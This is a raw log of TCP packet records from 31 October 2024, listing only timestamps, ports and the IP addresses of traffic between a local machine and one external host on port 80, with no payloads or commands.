Oct 31, 2024 05:06:36.149454117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149466991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149488926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149497986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149502993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149521112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149523973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149533033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149561882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149564981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149589062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149599075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149605036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149619102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149636984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149643898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149657965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149672985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149682999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149693966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149703026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149712086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149725914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149740934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149764061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149777889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149785995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149791956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149808884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149823904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149838924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149853945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149867058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149869919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149888992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149889946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149904966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149919987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149924994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149935961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149959087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149967909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149972916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149993896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150001049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150013924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150037050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150043964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150053024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150069952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150074959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150091887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150105000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150120020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150140047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150561094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150609016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150676966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150690079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150712967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150728941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150728941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150743961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150759935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150760889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150774002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150798082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150810003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150814056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150837898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150840998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150854111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150867939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150876045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150882959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150901079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150919914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150942087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150957108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150973082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.150975943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.150989056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151000977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151005983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151022911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151025057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151036978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151056051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151065111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151078939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151088953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151094913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151108980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151124954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151129007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151139975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151155949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151225090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151238918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151262999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151283026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151287079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151302099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151309967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151325941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151334047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151350021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151361942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151380062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151388884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151396990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151400089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151408911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151416063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151424885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151431084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151453018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151477098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151492119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151514053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151527882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151541948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151576996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151590109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151603937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151618958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151619911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151635885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151638031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151650906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151664019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151673079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151696920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151722908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151737928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151755095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151770115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151772022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151787043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151803017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151812077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151833057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151840925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151849031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151864052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151886940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151901960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.151937962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.151974916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.159302950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.160177946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.196391106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.196453094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.196460962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.196499109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.196532965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.196568966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.196619034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268501043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268613100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268621922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268646002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268663883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268671036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268672943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268681049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268692017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268703938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268721104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268731117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268738031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268752098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268765926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268770933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268779993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268789053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268793106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268802881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268846035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268853903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268872976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268887997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268922091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268965006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.268970013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.268987894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269005060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269021988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269045115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269052029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269067049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269072056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269083977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269093037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269098997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269100904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269117117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269123077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269124031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269133091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269150972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269160032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269165993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269167900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269176006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269187927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269191027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269201994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269221067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269249916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269258022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269263029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269265890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269274950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269294024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269299030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269305944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269314051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269320965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269321918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269330025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269346952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269371986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269396067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269402981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269423962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269433022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269439936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269444942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269448996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269463062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269469976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269473076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269478083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269494057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269500017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269526005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269557953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269568920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269583941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269634008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269642115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269656897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269664049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269671917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269673109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269687891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269716978 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.269897938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269969940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269978046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.269993067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270016909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270104885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270113945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270128012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270133972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270140886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270148993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270163059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270172119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270175934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270179033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270198107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270204067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270212889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270227909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270231962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270236969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270252943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270255089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270262003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270276070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270279884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270283937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270299911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270303011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270311117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270324945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270333052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270334005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270348072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270349026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270368099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270370007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270378113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270385981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270394087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270401955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270423889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270893097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270900965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270915985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270922899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270941019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270947933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270961046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270961046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270962954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270971060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270987034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.270991087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.270994902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271011114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271018028 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271029949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271079063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271086931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271109104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271116972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271131992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271137953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271140099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271156073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271159887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271164894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271181107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271183968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271189928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271203995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271208048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271225929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271241903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271250010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271258116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271265030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271272898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271276951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271281004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271290064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271305084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271308899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271308899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271330118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271337032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271348000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271356106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271369934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.271374941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.271389961 CET	80	49744	185.215.113.16	192.168.2.4
